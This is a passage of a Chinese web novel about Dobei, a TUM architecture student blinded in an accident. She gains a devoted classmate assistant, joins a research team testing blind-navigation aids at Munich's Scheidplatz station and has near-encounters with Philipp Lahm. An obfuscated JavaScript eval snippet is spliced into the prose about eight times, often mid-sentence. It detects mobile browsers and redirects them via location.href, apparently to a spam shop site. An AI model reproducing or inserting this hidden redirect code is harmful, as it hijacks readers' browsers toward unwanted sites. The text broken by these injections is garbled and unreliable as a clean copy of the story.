他们细细密密地聊,从圣诞节前各自分开时的琐碎,聊多贝在中国的经历(省略了最痛苦的部分),莉娜在TUM信息部遭遇的“反人类”编程作业,马克斯在美术学院被教授批评“色彩过于单一以至于缺乏深度”的糗事……许多话题在越洋电话里已说过一遍,此刻在黑暗与近距离的呼吸声中重温,却丝毫不觉枯燥。 说到惊心动魄处,三个人又会抱在一起,安静地呆一会儿,不需要更多言语,拍拍背,握紧手,就是最好的安慰。说到多贝如何在盲人麻将桌上大杀四方时,莉娜和马克斯便会发出夸张的、羡慕又兴奋的“哇!!酷!!”的嚎叫,而多贝则在他们的捧场中,仰起头,发出“哦吼吼吼”的、带着小小得意的笑声。 夜色渐深,窗外的施瓦宾格陷入宁静。房间里的低语和偶尔爆发的轻笑,成了唯一的声音。那些对未来的不确定、对黑暗的些微恐惧,在这个由友情构筑的、坚实而温暖的堡垒里,被悄然驱散了。 多贝在熟悉的床铺上,听着左侧莉娜均匀的呼吸,听着地毯上马克斯偶尔的翻身窸窣。 无论未来怎样,莉娜和马克斯永远会在她身边。这是他们很小的时候,在施瓦宾格洒满阳光的草地上,就拉钩约定好的。 8. 托付与“我的荣幸” 慕尼黑工业大学,残疾人学生支持部办公室。 多贝坐在长椅上,指尖无意识地摩挲着“白骑士”的杖柄。她听着办公室里隐约传来的谈话声,心里估算着时间。支持部的老师已经提前根据她的专业需求——建筑学,需要大量图纸描述、模型协助和文献阅读——筛选出了几位合适的候选人,今天需要她亲自进行最后的面试和选择。 门开了,老师的声音传来:“Frau Wei?, der n?chste Kandidat ist da.”(魏丝女士,下一位候选人到了。) 候选人被引导进来,轻轻带上门,对面便传来了拉椅子的轻微声响,然后是一个年轻男性的声音,清晰而平稳: “Guten Tag, ich bin Thomas Krause, im dritten Jahr des Architekturstudiums, und ich bewerbe mich für die Stelle als studentische Hilfskraft.”(您好,我是托马斯·克劳泽,建筑系三年级,申请学习助理岗位。) 多贝愣住了。这个声音……温和平稳,带着一点不易察觉的柏林口音。是那个在专业课上总是坐在她斜后方,小组讨论时观点清晰却从不抢话,路上遇见会微笑着打招呼说“嗨,魏丝”的托马斯·克劳泽。 “托马斯?托马斯·克劳泽?” 她几乎是不敢置信地重复,声音里满是惊讶,“你怎么……怎么会来应聘学习助理??” 这太出乎意料了。托马斯的假期理应回柏林享受家庭时光,或者进行他自己的学术项目。 对面传来一声很轻的、似乎有些不好意思的笑声,但声音里带着一如既往的平和:“我看到了支持部发布的招募通知。虽然通知上没写名字,只说明了需要辅助的建筑系学生的情况和所需的技能——比如熟悉专业术语、能清晰描述图纸和空间关系、需要投入大量时间之类。”他顿了顿,语气里多了一丝了然,“然后,我又从鲍尔教授那里偶然听说,你因为一些……突发情况,暂时退出了他的设计工作室。把这两件事联系起来,我想,需要帮助的那个人,很可能就是你。” 他的叙述逻辑清晰,带着一种安静的观察力。“我想,比起招募一个完全不认识、需要从头磨合的陌生人,一个同专业的同学,或许能更快理解你的需求,在课业辅助上也能起更大一点作用。至少,我知道你常用的参考书是哪几本,也大概清楚鲍尔教授和苏德曼教授各自的偏重点。对吧?” 他说得很实在,没有夸张的同情,也没有华丽的承诺,只是平实地陈述着“同学”这个身份所能带来的实际便利。 多贝:“……” 她一时语塞。心里仿佛被什么东西轻轻撞了一下,有点酸,又有点胀。感动是当然的,但紧随其后的是一种近乎滑稽的震撼。哇哦,她在心里嘀咕,平时只知道托马斯脾气好、性格温柔,是个可靠的同学。没想到这家伙身上散发出的“圣光”浓度这么高,简直快对我造成二次伤害了,差点又瞎一次。 感动归感动,她的理智依然占据上风,“托马斯,”她开口,带着真诚的感激,但也直指现实问题,“谢谢,真的……我非常感动。但是,成为我的助理,意味着这个寒假,你至少有一大半时间要耗在慕尼黑,耗在陪我适应、帮我补课这件事上。如果我没记错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326727|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是柏林人。我不想因为我的事,耽搁你和家人们难得的假期团聚。这太不公平了。” 她把潜在的问题摊开来说。接受帮助是一回事,但她不想成为别人家庭生活的负担,尤其是对于托马斯这样并非挚友、只是关系不错的同学而言。 托马斯的回答没有丝毫犹豫,声音依然温吞柔和,却透着一种已经深思熟虑过的确定感:“没关系。我已经和我的父母商量过了,他们完全支持我。” “而且,”他慢吞吞补充道,“我本来也打算假期留在慕尼黑,我的教授最近有个项目,我很想加入。” 他把家人的支持和自己的考虑说得如此自然,彻底打消了多贝的顾虑。这份周全,再次让多贝感受到了托马斯那份藏在温和外表下的、远超同龄人的成熟与可靠。 短暂的沉默在两人之间弥漫。支持部的老师没有插话,只是安静地记录着。 专业对口、彼此熟悉、为人可靠、家庭支持——托马斯几乎是最理想的人选,甚至超出了她的预期。 终于,她深吸了一口气,朝着托马斯声音的方向,郑重地、清晰地说道: “… Dann würde ich mich in den n?chsten Monaten sehr in deine Obhut begeben, Thomas.”(……那么,之后很长一段时间,就要多多麻烦你、托付给你了,托马斯。) 多贝听见一点布料摩擦的声音,对面的托马斯似乎微微坐直了身体。他的声音里带着一丝笑意,如同冬日下午穿透玻璃窗的阳光: “Es ist mir eine Ehre.”(这是我的荣幸。) 9. 翻译官 多贝的心跳得有些快,“白骑士”被紧紧握在手里,她缓缓吐出一口气,然后敲响了身前的门。 “请进。” 门在身后轻轻合上,将父母的鼓励隔绝在外。室内的空气似乎更凝练一些,混合着旧书、咖啡和一丝她辨不出来的木质调香气。多贝能感觉到这是一个宽敞的空间,声音略有回荡,右侧隐约有大型窗户透入的光热感。 “魏丝小姐,请坐。” 格吕恩教授的声音从正前方稍远处传来,温和厚重,“你右手边大约两步,有一把扶手椅。” “谢谢您,教授。” 多贝用盲杖轻点,准确找到椅子,坐下,将盲杖靠在腿边。背脊挺直,双手交叠放在膝上。 短暂的沉默,并非尴尬,更像是一种审视前的凝神。 “首先,” 格吕恩教授开口,语速平稳,“请允许我表达我个人,以及代表团队,对你所遭遇不幸的最深切的遗憾。鲍尔教授向我详细说明了情况,这是一场残酷的意外。” 她的声音里有关切,但没有任何泛滥的同情,只是在陈述一个已然发生的事实。 “谢谢您,教授。” 多贝轻声回应。 “不过,” 格吕恩教授话锋微转,语气里注入了一种清晰的锐利,“在你发来的邮件中,那份关于你在康复期间对所处环境导盲系统的观察记录,让我印象深刻,甚至可以说,是惊喜。” 多贝的心轻轻提了起来。 “不仅仅是抱怨或感受,你用建筑学的语言,翻译了身体的困惑。这非常专业,魏丝小姐。”教授顿了顿,继续道,“即使身处个人困境,你依然保有这种专业视角,这很难得。” 多贝感到脸颊微热,但不是羞赧,而是某种被“看到”、被专业领域认可的价值感,哪怕此刻她已无法用视觉去接收对方认可的眼神。 “所以,” 格吕恩教授的声音压低了一些,形成了一个更具张力的、私密对话的空间,“在我正式邀请你加入SP之前,我有一个问题,想听听你的真实想法” 多贝屏息凝神。 “你想做这个研究,设计未来的导航系统,” 格吕恩教授一字一句,每个音节都沉甸甸的,“究竟是为了你自己——为了寻找一条让你个人能更顺畅通行的路径;还是为了‘所有人’——为了可能需要这套系统的视障群体?” 多贝张了张嘴,什么也没说出来,她没想过要区分这个。为了自己?当然,她比任何人都更迫切地需要一条“出路”。为了所有人?是的,她的记录始于自身痛苦,但很快便意识到这痛苦绝非独有。 “我问这个是因为,”教授顿了顿,“如果你是为了前者,那么你会是很好的测试员。你的数据很珍贵,我们会好好利用。但如果你是为了后者——” 格吕恩教授笑了一声。 “那就意味着,”她的声音变得轻慢,“当你复明后,你仍然会坐在这里。那时驱动你的,将不再是你的痛苦。你确定即便没有它,你也能继续走下去吗?” 多贝没有立刻回答。她垂下头。办公室安静极了,只有远处隐约的校园钟声。 几秒钟后,她抬起头,声音不高,却异常清晰: “格吕恩教授,” “就我个人而言……这是一场无论如何我都必须进行的战斗。每一天都是。” “如果只是为了我自己,” 多贝继续说,“我应该去学习使用最先进的导盲设备,或者等待一次成功的移植。如果只是为了一个抽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326728|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象的‘所有人’……”她带着点自嘲,“那听起来太像什么口号了,对吧?” 格吕恩教授几不可闻地“嗯”了一声,继续听着。 “我…我也不知道我算什么,体验者?我每天都在用身体撞墙;设计者?我现在连图纸都看不见。我只是…卡在在中间——一个不得不去理解这些障碍为什么存在的位置。” 她向前微微倾身,语速变快了一点,“我想理解,那些让我停下的、让我害怕的障碍,到底是哪里出了问题?是逻辑故障?还是参数错误?反过来,对于那些算法、数据,当它们落在真实空间里,到底让使用者更安心还是更恐慌?” “这让‘中间’这个位置变得刚刚好,不是吗?我既能听懂志愿者的‘害怕’,也能理解团队需要的‘数据’。” “像个翻译官。” 她停下来,忽然笑了,“说实话,我现在连‘复明之后’都不敢想得太具体。那种事…想太多会发疯的。我不确定我会做到什么地步,但总得试试,对吧?” 多贝的声音越来越稳:“我只能想明天、后天、下个星期的事。关于未来——我无法承诺。但…明天、明天的明天、很多个明天,我一定会来。” 话音落下,办公室里一片寂静。 几秒钟后,格吕恩教授那里传来一声极轻的、仿佛释然又赞赏的叹息,接着是椅子移动的声音。她站了起来,脚步声平稳地靠近。 然后,多贝感觉到一只温暖、干燥、有着学者般清晰骨节的手,轻轻握了握她放在膝上的手,充满了力度与认可。 “欢迎加入,多纳贝德,” 格吕恩教授的声音近在咫尺,带着前所未有的温度与确凿,“我们的‘翻译官’小姐。” 10. 笔记之神 在托马斯·克劳泽的协助下,多贝落下的课程被一点点补上。时间确实紧迫,一个多月后的期末考试像地平线上清晰可见的、不断迫近的 Deadline 怪兽。她不止一次地庆幸自己过去在图书馆熬过的夜晚。那些画过的草图、整理过的笔记,此刻还都在脑子里。至少,她不需要在一片狼藉的废墟上“女娲补天”——这个突然冒出的、带着中文思维的比喻让她自己都愣了下,随即在托马斯疑惑的“什么?”的询问中,笑着摇头带过。 最大的挑战,是学习方式的彻底颠覆。她必须习惯失去的视力,转而依靠耳朵和想象力。托马斯的声音成为她构建一切空间与形态的支点。他描述一张平面图上的轴线、开间、标注,她在脑海中同步勾画;他解说一个复杂的结构节点三维示意图,她就得调动所有知识储备,努力拼凑出那些梁、柱、板的咬合关系。 幸好,托马斯是她的同学。这省去了无数磨合与解释的麻烦。他知道图纸哪里藏着“陷阱”,也明白哪些专业术语需要重点强调,哪些可以一语带过。 直到那天,托马斯将一个小小的U盘推到她手边。 “这是什么?”多贝摸索着拿起。 “你缺的那些必修课的录音。”托马斯的声音听起来一如既往的平静,仿佛在说一件微不足道的小事,“我根据课程大纲和重点,整理了一下录音,分门别类存好了。文件名就是章节和主题,你用读屏软件应该能顺利找到。” 多贝愣住了。手指捏着那个冰凉的金属U盘,他什么时候录的?录了多少遍?花了多少时间?这已经远远超出了一份“助理工作”的要求。 “天呐,托马斯!” 多贝几乎是扑过去抱住了托马斯,声音带着难以置信的哽咽,“你……我……我爱你托马斯!真的!你就是天使!是笔记之神!是救我命的大好人!” 她语无伦次,把能想到的所有赞美和感谢都混在一起,只想表达那份要满溢出来的感动。 “不客气,不客气。”托马斯似乎低低地笑了一声,那笑声有点不好意思,还带着点被她的夸张反应逗乐的无奈,他回应道,“不过,‘笔记之神’这个头衔我收下了,挺酷的。” 随着相处时间增加,多贝原本因感激而略带拘谨的心态,也渐渐放松下来。她敏锐地捕捉到托马斯温和可靠的表象下,还藏着一点……活泼的、属于年轻人的促狭属性。 比如现在,在她感激涕零之后,托马斯那平稳的声线再次响起,内容却瞬间将她拉回现实: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326729|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可惜,即便我荣获‘笔记之神’称号,也无法动用神力直接减少你欠下的课程总量。”他顿了顿,语气里带着一种假装严肃、实则戏谑的遗憾,“所以,尊敬的魏丝小姐,根据进度表显示,你今天还有58张关于砖混结构建筑构造的细部大样图需要‘听’完。我们是从外墙勒脚防潮层开始,还是直接从屋顶檐口排水构造开始?” 多贝上一秒还沉浸在感动中,下一秒就被这庞大的任务量砸得眼前一黑(尽管本来就黑)。她发出一声痛苦的、拖长音的哀嚎:“哦不……”,但她哀嚎完,还是认命地抬起了头,对着托马斯声音的方向:“…Fang an.”(……开始吧。) “效率至上。”托马斯的声音里笑意更明显了,手下已经传来了翻阅图纸的细微声响,“来吧,勒脚防潮层。注意听,这里涉及到三种不同标高处的地下水位应对措施……” 多贝一边痛苦地消化着海量的信息,跟随他的描述在脑海中艰难地垒砌虚拟的砖墙和防水层,一边想着:也许,等这阵兵荒马乱过去,可以介绍托马斯给莉娜和马克斯认识。他们肯定会拿“笔记之神”这个称呼来笑他。想到那个画面,她偷偷笑了一下,然后赶紧收住,因为托马斯已经开始讲下一张图了。 11. 培训、翻译官进场 当密集的补课节奏在托马斯的协助下逐渐形成一种苦涩但稳定的规律时,多贝生活的另一条轨道也在全速铺设——在TUM那栋极具未来感的翼楼,在格吕恩教授的工作室。 多贝第一次走进那里的时候,感觉自己好像踏入了另一个维度。 建筑系里常年弥漫着石膏粉和胶水的味道,混合着熬夜学生的咖啡味。但这里——多贝吸了吸鼻子— 激光切割机工作后留下的焦糊味,3D打印光敏树脂固化后特有的甜腻的气息。还有她分辨不出来的来自各种电子设备的低微嗡鸣,以及不同专业背景人员快速、低沉的讨论声。 “魏丝小姐?”一个年轻的声音从前侧方传来,“格吕恩教授很早就向我们提过你,大家都很期待你的加入。来吧,我带您过去。哦!小心,地上有电缆。” 她的盲杖被人轻轻提起,跟随着传过来的指引,她进入工作室的深处,最后停留在一把椅子前。坐下后,多贝才发现手心已经出汗了,她悄悄在裤子上蹭了蹭。 第一次培训,是格吕恩教授带的博士生,也是项目的数据分析师之一。 “你好,魏丝。我是卡林。”年轻的女声笑了笑,“不必紧张,准备好了吗?我们要开始了。” 多贝听见她在对面坐下,翻开什么东西,“根据第一轮志愿者测试的数据汇总显示,问题簇群主要集中在……” 多贝的脑子快速运转,Scheidplatz车站的地图在脑海里随着卡林的讲解一块块点亮,在此之前,团队为她提供了触觉地图,她已经用手指“看过”并记住整个车站的布局。 “…超高频问题编码,‘导向路径不连续’、‘关键节点警示模糊’…”她停下来,“你怎么看,魏丝小姐?” 多贝觉得自己的手心又出汗了,“…我认为,针对‘不连续’等问题,我需要验证是引导路径物理中断还是信息在此处出现逻辑断层……然后根据……” 她说完,沉默短暂地降临在这片空间,多贝揪住自己的衣角,手指蜷起。 直到卡林的带着笑意的声音打破这片沉默,“说得没错,多贝!这正是我们下一轮测试的重点,也是你的首要目标!” 她换了更亲近的称呼。多贝垂下眼睛,手指逐渐松开。 第二阶段培训,来的是负责硬件的工程师。 没有寒暄,那个人拉过一把椅子坐在她旁边,直接拿起她的手放在一个冰凉的、长方形的东西上——一台特制平板。 “这是开机键。这里是音量键。这是‘记录’的快捷键,遇到数据报告中没有提到的问题,按下去,它会自动回朔前30秒内传感器的数据……你需要记住它们的位置,即便盲操也不会干扰实验进度。” 工程师的声音平静的像念说说明书,她的手引导着多贝,在平板边缘滑过每一个按键,让多贝感知那里轻微的凸起和阻力。 平板突然在她手里震动起来,长震,短震,不同的时间和次数。 “这是什么意思?”多贝困惑地问。 “是提醒你前方出现志愿者标记的问题节点。长震是方向,短震是距离。正式测试时我们会提醒你点位,但你必须记住问题地图,确认你的下一个目标到底是什么。” 多贝不再说话,感受着那些长短不一的震动一下下传入掌心。 椅子在地上刮出一道刺耳的响,工程师站起来。 “你自己练,三天后我检查。”她停顿了一下,声音里第一次带了点不一样的温度,“加油,魏丝小姐。” 脚步声远去。 而多贝还在回忆那张还不甚清晰的问题地图。 第三阶段,是格吕恩教授主持的团队会议。 多贝坐在会议桌的一角,面前只有那台平板静静地躺在手边。周围的人声很密集——语速飞快,夹杂着术语和缩写。有人在汇报数据,有人在争论算法,有人敲击键盘的声音快得像雨点。 “魏丝小姐。”格吕恩教授的声音越过那些讨论落在她身上,“假设在C号楼梯处,扶手在某一特定段落给您‘突然不对’或者‘失去信任’的感觉。您抵达现场后,第一优先级的检查步骤是什么?” 多贝愣住了,这是几周来第一次被点名。第一次,需要在这些专业人士面前说话。 她感到那些视线——那些她看不见的、来自数据分析师、工程师、项目协调员、还有那些她不知道名字的人的目光——全部落在她身上。 沉默。两秒。三秒。 她开口:“首先……” 声音有点紧。她清了清嗓子,重新开始: “首先,我会反复确认该段扶手的连续性、高度一致性、表面材质和温度是否与前后段落存在突变,其次,我需要确认该处楼梯精确的转角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326730|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据……” 没有人打断她,她的声音越发平稳。 “最后,我需要观察员记录我在此处的肢体语言和路径偏移…” 话音落下,会议室安静了两秒。 然后有人开口,不是格吕恩教授,是另一个她没听过的声音:“…是的,主观体验和客观数据…这很有意思,我们此前的测试正缺少这个。” 然后另一个声音响起,又一个声音接上去,没有人对她说“很好”或“不错”,但她的回答被讨论、补充、质疑。 多贝嘴角翘起一个小小的弧度。 最后一次培训,是项目协调员主持的安全简报。 那个声音一开口,多贝就知道他是干什么的——每一个字都规整得像被量过尺寸。 “Sie sind unser fokussiertes Sensorium, aber Sie sind nicht allein.”(您是我们聚焦的感知中枢,但您并非孤身一人。) 多贝没有点头,只是安静地听着。 “团队会在场,但是隐形的。”协调员继续说,“技术支援点在闸机口和楼梯口,工程师隐蔽值守,盯着您的终端数据。观察员会扮成普通乘客在您周围,记录您看不见的动态风险——人流、清洁车,以及路人反应对您的测试的‘干扰’。” “一名安全哨位永远在您侧后方。他不介入您测试流程,但随时能启动保障您的安全。” 多贝忍不住问:“我怎么知道他在哪儿?” “您不需要知道。”协调员的声音没有任何起伏,“您只需要忘记我们的存在。您的耳机接入加密频道。您只进行单向口述记录,但频道始终保持开放。只有在必要时,您才会收到指令。” 他停了一下。 “您要同时对空间极度敏感,而对我们的存在极度迟钝。这是对你专注力的考验。这有些困难,但您得做到。” 多贝没有说话。 她在心里重复:敏感,钝感。 她不知道自己做不做得到,但她会试。 培训结束的那天,多贝一个人坐在会议室的角落,周围没有人——周会结束了。 格吕恩教授说的最后一句还停留在空气里——不是对她说的,是对所有人说的: “我们的‘翻译官’下周进场。” 12. 第一步 慕尼黑,三月的最后一周。 Scheidplatz站,U2、U3与U8的交汇点,日均客流量巨大。对于测试视障人士通行辅助系统而言,这里是压力测试场,也是数据富矿。 清晨的通勤高峰已如潮水般退去,但站台上仍残留着人潮裹挟后的温热与匆忙的余韵。空气里有咖啡、羊毛外套以及金属轨道摩擦后产生的、淡淡的烧焦气味。 多贝站在Scheidplatz站入口层预设的起点位置。周围是来往人群模糊的脚步声、以及广播里间歇响起的德语播报。对她而言,这些声音构成了此刻空间的基底。 但她并非孤身一人。在她感知不到的位置,团队成员已经就位,他们是隐形的,却又通过耳麦编织成一张的网,她则是这张网的中心。 手指最后一次确认过特制平板的按键位置。贴在身侧的荧光绿独眼怪背包——她管它叫拉克西姆——随着她的呼吸微微起伏。她希望这只“有大学文凭的聪明怪”,真的能成为她在黑暗中的“第三只眼”。 耳机里传来协调员的声音,是那位前军方官员特有的规整和稳定: “第一阶段:现状诊断。重点勘探区:地面入口层至站台层的过渡区、主要连接通道、岔路口节点。所有地下单元已就位。系统绿灯。魏丝,您准备好即可开始。完毕。” 多贝没有立刻回答。 她不知道自己需要等待多久才能迎来那枚可能让她重见光明的角膜。也许几个月,也许更久。失明是灾难,但在此刻,也成了她工作的“实验条件”。 “呼——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326731|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她深吸一口气,试图将胸腔里的紧张压下去。 她抬起手,指尖在平板侧面的特定凹陷处用力一按。 “记录开始。第一阶段,簇群A区域。魏丝,在现场。团队状态已确认。” 她的声音通过耳麦清晰地录入系统,冷静,平稳。 然后,她握紧了盲杖,杖尖轻触地面。 迈出了第一步。 周围隐匿的团队成员,呼吸似乎也同步屏息了一瞬。 她走进车站,也走进那张她看不见、但被托举着的网。 Scheidplatz站庞杂的声景、流动的人潮、错综的路径,此刻都成了等待被“阅读”和“诊断”的文本。 而多纳贝德·魏丝,正以最独特的方式,开始她的“阅读”。 13. Verdammt和好心人 “Verdammt!(该死!) 多贝略带烦躁地、几乎是有些粗暴地拽了拽她的白骑士。不出所料,杖头又一次死死卡在了站台地面嵌入式金属导向条的接缝里。这里是Scheidplatz站U2与U3的换乘通道,那些凸起的候车线与导向条之间的细小缝隙,简直是橡胶杖头的克星。这也是志愿者反馈最集中的问题点之一。这是她今天第十二次走这段路,而她的白骑士已经第四次在这里“阵亡”了。 她忍不住低咒一声,叉着腰叹了口气。空着的手沿着杖身向下摸索,身体也慢慢弯下去,准备亲自解救她的骑士。 “Entschuldigung(打扰一下),请您别动。它卡住了,让我来。”一个平稳的年轻男声从侧前方传来。多贝感觉到盲杖被一股温和而坚定的力量握住,随即一松。 “哦,太感谢了!您真是帮了大忙了!”她瞬间切换回轻快的语调,朝声音主人的大概的方向露出笑容,“我今天可被它折磨得够呛!” “不客气,请拿好。您是要换乘U3吗?我可以带您过去。”那声音答道,依旧平稳,没什么多余的起伏。 “哦不不不,不必麻烦您,再次感谢!”多贝连忙摆手,“我……我可能还得在这里再待一会儿。”她不好意思的笑笑,语气礼貌而坚决地婉拒对方带路的意图,没有解释“这是工作”的想法。一天里会遇到好几个这样的好心路人,她早已习惯。 “那好吧。祝您今天一切顺利。” “您也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326732|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,好心的先生!” 菲利普?拉姆登上U3列车,关门前的瞬间,他下意识地回头望了一眼。那个女孩并没有随人流上车。她正缓慢地、摸索着往回走了几步,然后再次停下——她的盲杖又卡在了同一个地方。只见她熟练地弯腰,凭触感解救了它。接着,她从那夸张的荧光绿怪物背包里,掏出一个看起来相当厚重的平板。 那人的声音隐约传来:“……第四十三次记录……金属接缝……勾挂与卡阻风险……”,列车启动,车轮的轰鸣盖住了杂音。 听起来大概又是什么测试,Scheidplatz通常是这类测试的首选,一年里能遇见好几次。 他收回目光。 列车加速,声音和景象都远去了。 14. 碰撞 周三下午六点过五分,Scheidplatz 站台的换乘人流达到了晚高峰前的第一个峰值。多贝挎着她的 “雅恩”,继续在U2与U3之间的站台上进行着她的基础层测试。 她刚刚用盲杖确认了一段导向条的终点,正准备在平板上记录数据。突然,一股急促的气流从她身侧掠过,紧接着,“雅恩” 传来一阵轻微的、被外力撞到的晃动,连带让她的身体也轻轻一晃。 “哎呀!” 她下意识地轻声惊呼,但立刻稳住了重心。 “Entschuldigung.(抱歉。)” 一个年轻的男声扔下一句简短的道歉,脚步声没有丝毫停顿,迅速汇入了前方嘈杂的人流,远去了。 多贝眨了眨看不见的眼睛,伸手安抚性地拍了拍 “雅恩” 毛茸茸的脑袋。“Keine Angst, Jann.(别怕,雅恩。)” 她对着背包低声说,嘴角却带着点无奈的、自我解嘲的笑意,“只是个小意外。对那些赶时间的人,我们得宽容点。” 对她而言,这只是穿梭人海中一次微小的、几乎算不得碰撞的接触。在城市交通枢纽站做测试,被行色匆匆的路人轻微擦碰,简直是家常便饭。 她的注意力很快回到平板电脑的记录和即将进行的下一条路径测试上。雅恩替她承担了这次小小的“撞击”,而她,还有更重要的工作。 ——— 周三下午,训练结束的拉姆快步走进 Scheidplatz 车站。他脑子里还回放着训练赛中几个需要改进的传球选择,脚步不自觉地比平时更快一些。他想赶上这趟即将进站的 U3早点回家,他不想把时间浪费在等下一班车上。 U2/U3 的换乘平台上人流如织。他敏捷地侧身越过几个步速缓慢的行人。就在他几乎是跑着穿过站台中央区域时,肩膀上的运动包 “咚” 地一声,轻轻蹭在了一个颜色极其扎眼的亮蓝紫色的背包上。那背包造型怪异,像个长毛的卡通怪物。 “Entschuldigung ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326733|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .(抱歉。)” 他条件反射般地丢出一句道歉,脚步没有丝毫停滞。他的全部焦点都在前方那辆已经停稳、正在上客的U3列车上。他熟练地侧身让开人流,在车门即将关闭的提示音响起前跨入了车厢。 找到靠边的位置站定,随着列车启动,窗外站台的灯光流线般向后滑去,他紧绷的神经才稍微放松。刚才那个小小的碰撞这时才后知后觉地跳回脑海。 “刚刚那个包……最近好像见过类似的?” 他漫不经心地想着,“现在街上背这种醒目玩意儿的人好像变多了。” 他的手指无意识地搭在自己肩上那个除了拜仁队徽别无装饰的黑色运动背包上。实用、不显眼、能装下所有东西,这就够了。“这是什么流行?” 他这么想着,然后便将这个念头抛之脑后。下一刻,他的思绪已经飘向了晚餐后需要看的比赛录像——教练指出他上周在防守选位上还有两处可以优化。 对他而言,这只是一天结束前,归家路上一个被迅速遗忘的微小摩擦。 15. 向量 如果镜头能够拉高,以俯瞰的视角凝视慕尼黑这座城市,菲利普·拉姆和多纳贝德·魏丝的生活轨迹,清晰得如同两条被精密规划过的向量。 他的箭头坚定地指向塞贝纳大街的训练中心与盖恩的住所之间,两点一线。而她的箭头,则在慕尼黑工业大学、格吕恩教授的研究室与Scheidplatz之间散射开来。 按照任何理性的剧本,这两条方向不同的向量,绝无产生交集的可能。 但命运——如果真有这种东西——大概是最不讲究逻辑的编剧。 菲利普·拉姆第一次注意到那个背包,是在四月初。 一个荧光绿色的、带着眼镜的夸张独眼的怪物,他帮它的主人取出了卡住的盲杖。他没往心里去。但很快他发现,这种背包和它们的主人出现的频率有点高——每周一早晨,以及周二、周三的下午,它,或者说她和它总会准时出现在Scheidplatz站。 有一次周四早上,他又意外地看见了她,行色匆匆,背着一个看起来下一秒就要爆发的红色火山怪物,拉链没有拉好,半条围巾从怪物的嘴里吐了出来。她一边走一边套那件荧光条背心,嘴里嘀咕着什么,他勉强捕捉到“上课”、“迟到”几个词,听起来像是赶时间。 不是刻意关注,只是那些荧光色怪物在慕尼黑阴晴不定的天气里实在难以忽略,只要见过就很难忘记。 